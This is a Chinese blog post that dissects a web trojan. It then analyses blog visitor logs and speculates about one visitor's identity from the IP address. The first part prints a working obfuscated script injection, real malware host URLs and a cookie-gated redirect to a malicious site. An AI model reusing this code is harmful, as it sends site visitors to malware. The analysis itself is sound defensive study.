一次web木马解剖

本文起源于:http://www.path8.net/tn/archives/4235

木马解剖:

这是一段JS木马,请一定谨慎,不要在浏览器中执行。但在本站本文中阅读是安全的,本文url如下http://www.path8.net/tn/archives/4235 ;但笔者不能保证对本文的转载也是安全。
<script>eval(unescape("%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6C%65%73%73%74%68%65%6E%61%6D%69%6E%75%74%65%68%61%6E%64%6C%65%2E%63%6F%6D%2F%6A%73%2E%70%68%70%3F%6B%6B%3D%33%33%22%3E%3C%2F%73%63%72%69%70%74%3E%27%29%3B"))</script>

分析:这也是清理木马时就想做的事情。木马本身是一段转码过和js字符串,执行时要先unescape反转码,得到一个字符串,然后把该字符串当作一段代码eval执行。

新建一个.html文件,内容如下:

<script>document.write(unescape("%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6C%65%73%73%74%68%65%6E%61%6D%69%6E%75%74%65%68%61%6E%64%6C%65%2E%63%6F%6D%2F%6A%73%2E%70%68%70%3F%6B%6B%3D%33%33%22%3E%3C%2F%73%63%72%69%70%74%3E%27%29%3B"))</script>
在chrome里查看,但得到提示消息:

看来chrome在安全方面做得确实不错,对于包含恶意代码的网站给出警示消息。分析可能反编码后的代码还是,一段js,再从某个网站上下载木马 (一般网页挂马都是这个模式),document.write 写到页面里的这段代码,还是可能被执行的,这不安全的,尽管我在linux下,要换一下输出方式。

使用alert提示框,这样反转码后的字符串是不会被执行的。而且在fedora linux下的alert提示框也是可以使用鼠标选择复制的,这比windows下的alert消息框方便多了!代码如下

<script>alert(unescape("%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6C%65%73%73%74%68%65%6E%61%6D%69%6E%75%74%65%68%61%6E%64%6C%65%2E%63%6F%6D%2F%6A%73%2E%70%68%70%3F%6B%6B%3D%33%33%22%3E%3C%2F%73%63%72%69%70%74%3E%27%29%3B"))</script>

小心,这段也是木马
document.write('<script src="http://lessthenaminutehandle.com/js.php?kk=33"></script>');

看到了,反编码后的字串果然就是个document.write语句,往页面html文档里写入一段js,这段js就来自一个从外部站点上下来的文档,这里还是个动态文件,看来这个域名上有很多木马,以参数传递;或者后面的?kk=33只是用来统计来源的字串。

看看它是什么东西,要有点探索精神~~

这次就不能使用浏览器了,不安全,也不方便;那用什么呢?Linux终端命令行啊!wget 这不是最方便的工具吗?

[feng@fsc tmp]$ wget http://lessthenaminutehandle.com/js.php?kk=33

[feng@fsc tmp]$ cat js.php\?kk\=33

function ssdfsc(cefrvwerfv3rg5e,vbeal,ebtal){
var ewefwe=new Date();
var vcwc = ewefwe.getDate()+ebtal;
ewefwe.setDate(vcwc);
var owc3te = ewefwe.toGMTString();
document.cookie=cefrvwerfv3rg5e+"="+escape(vbeal)+";expires="+owc3te;

}

function wsdfsdd(cefrvwerfv3rg5e){
if (document.cookie.indexOf(cefrvwerfv3rg5e+"=")!=-1)return "1";
return "";
}

if (wsdfsdd("eererfero")==""){
ssdfsc("eererfero","1",20);
var derverv="http://www3.personalsecurityrn.rr.nu/?1dd9536=m%2Bzgl2uilqSsld7K0LCYienm1bHco6djpaJgo6xjlYg%3D";

window.top.location.replace(derverv);
}

还要从别的站点上下载文件,不知道是什么,再来点探索精神,看看:

wget -O xxx.js http://www3.personalsecurityrn.rr.nu/?1dd9536=m%2Bzgl2uilqSsld7K0LCYienm1bHco6djpaJgo6xjlYg%3D

以为又是个js,结果是个html文档,比较大,就不贴出来了,参看附件:

xxx.js.html.zip 木马文件,慎重下载

还有,前面的js请求传递的kk=33,分析一下这个站点上是不是多个木马,还仅仅是个统计用的参数

[feng@fsc tmp]$ wget http://lessthenaminutehandle.com/js.php?kk=32
--2011-03-19 12:12:06--  http://lessthenaminutehandle.com/js.php?kk=32
正在解析主机 lessthenaminutehandle.com... 91.193.194.110
正在连接 lessthenaminutehandle.com|91.193.194.110|:80... 已连接。
已发出 HTTP 请求,正在等待回应... 200 OK
长度:573 [text/html]
正在保存至: “js.php?kk=32”

100%[======================================>] 573         --.-K/s   in 0s      

2011-03-19 12:12:07 (36.2 MB/s) - 已保存 “js.php?kk=32” [573/573])

[feng@fsc tmp]$ cat js.php\?kk\=32


function ssdfsc(cefrvwerfv3rg5e,vbeal,ebtal){
 var ewefwe=new Date();
 var vcwc = ewefwe.getDate()+ebtal;
 ewefwe.setDate(vcwc);
 var owc3te = ewefwe.toGMTString();
 document.cookie=cefrvwerfv3rg5e+"="+escape(vbeal)+";expires="+owc3te;

}

function wsdfsdd(cefrvwerfv3rg5e){
 if (document.cookie.indexOf(cefrvwerfv3rg5e+"=")!=-1)return "1";
 return "";
}

if (wsdfsdd("eererfero")==""){
 ssdfsc("eererfero","1",20);
 var derverv="http://www3.personalsecurityrn.rr.nu/?1dd9536=m%2Bzgl2uilqSsld7K0LCYienm1bHco6djpaJgo6xjlYg%3D";

 window.top.location.replace(derverv);
}

好像一样,那基本上可以认定是个统计参数,马夫们也要来统计马都撒到哪里了,虽然这些马夫很可恶,没有一点黑客精神,就会拿黑客技术来搞破坏、谋私利!

貌似很复杂,都快十二点半了,不看了,探索精神不能当饭吃,准备吃饭去。

突然联想到,这些所谓有黑客他,也会说一句类似的话:“黑客精神又不能当饭吃!” ——这个最让整个人类蛋疼的事情:“吃饭”

博客访问日志尝试分析

下班了,突然想来看博客今天有哪些人访问,连上数据库,直接查看之前wordpress访客追踪插件的访问追踪记录表,今天的访问照样大多是来自google,然也有一些其它搜索引擎的,加起来也没有google的多。里面有几个“人”访问的,习惯性的查一下ip地址是哪里的。前两天查时,有几个使用win2003的用户访问,查看一些技术文章的,也有使用linux的,这次突然见有一个用fedora的linux用户:

Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.6) Gecko/20091216 Fedora/3.5.6-1.fc11 Firefox/3.5.6

访问来源是google搜索 (mysql procedure myisam )结果的第一页,前面有几条,都是mysql.com的结果,下面就是我的页面,从别处搜集来的信息,也没有进行修改加工,也没有进行优化,居然排名还能这么靠前!当然这样的关键词组合相当冷僻,很少人会这么搜索。

这个访问者是玩linux的,当然更要查一下是哪里的,ip138显示
<ul>
<li>本站主数据:北京市 电信</li>
<li>参考数据一:北京市 电信</li>
<li>参考数据二:北京市 理想国际大厦</li>
</ul>
理想国际大厦,查一下是什么单位,google结果,中关村的,好像还挺大的样子,其中一个结果页显示,该楼盘的信息

<span>http://data.dichan.com/OfficeDetails.aspx?OfficeID=&amp;Caption=%E7%90%86%E6%83%B3%E5%9B%BD%E9%99%85%E5%A4%A7%E5%8E%A6</span>
下面来有里面入驻的单位:新浪,17-20整层;华旗资讯,10-11整层;百度,12整层;还有其它几个。
看来百度也没有多大,才点了一层,又在里面查一层多大面积,2800m<sup>2</sup>;貌似这个页面里的信息比较老一点了。
对面积大小没有多少概念,问别的同事公司办公室有多大页面,感觉一个百度的办公区域大小。同事不解,为什么要问办公室面积,从博客的ip追踪说起,简要解释一下,然而他们是更不解,“根本不知道你在说什么”,看来差不多是袋鼠式的跳跃思维了。
又突然看到这个页面是新浪地产的页面,但域名根本不是sina.com.cn,进入该地址主页,自动跳转到新浪页面了,看来也是个老的站点,或者分站点,但新浪这些大网站一般不搞一大堆不同的域名的,都是单一域名+子域名的;估计这是并购别的网站了,而这是个老页面,只改了个网站logo,实际上是不是就不知道了,也没必要推究,又不是搞情报工作的。
至于这个访问者究竟是谁,大概很难知道了,ip地址,查这么专业的问题,而且看了两个页面“mysql 表种类 MyISAM,innodb详解”,“mysql 索引管理:SHOW INDEX语法 查看索引状态”,应该确实是在查找技术资料,而且使用linux,大概是一家搞网络的公司的员工,而且有可能是个当从事mysql相关技术不久的,不然不会查找这些比较浅显的东西,而且使用中文google搜索。
使用的可能是英文版搜索系统(语言环境),是fedora11,版本比较老一点,可能是公司行为,没有统一升级版本。
两次访问时间是中午2010-02-25 13:18:00, 2010-02-25 13:18:02访问时间非常积,看来这老兄的网速相当快,而且所看到页面信息不是自己所要的。

[user-agent并不可靠,但一般情况下,还是准确的,很少人去修改它,事实上好像也没有什么意思]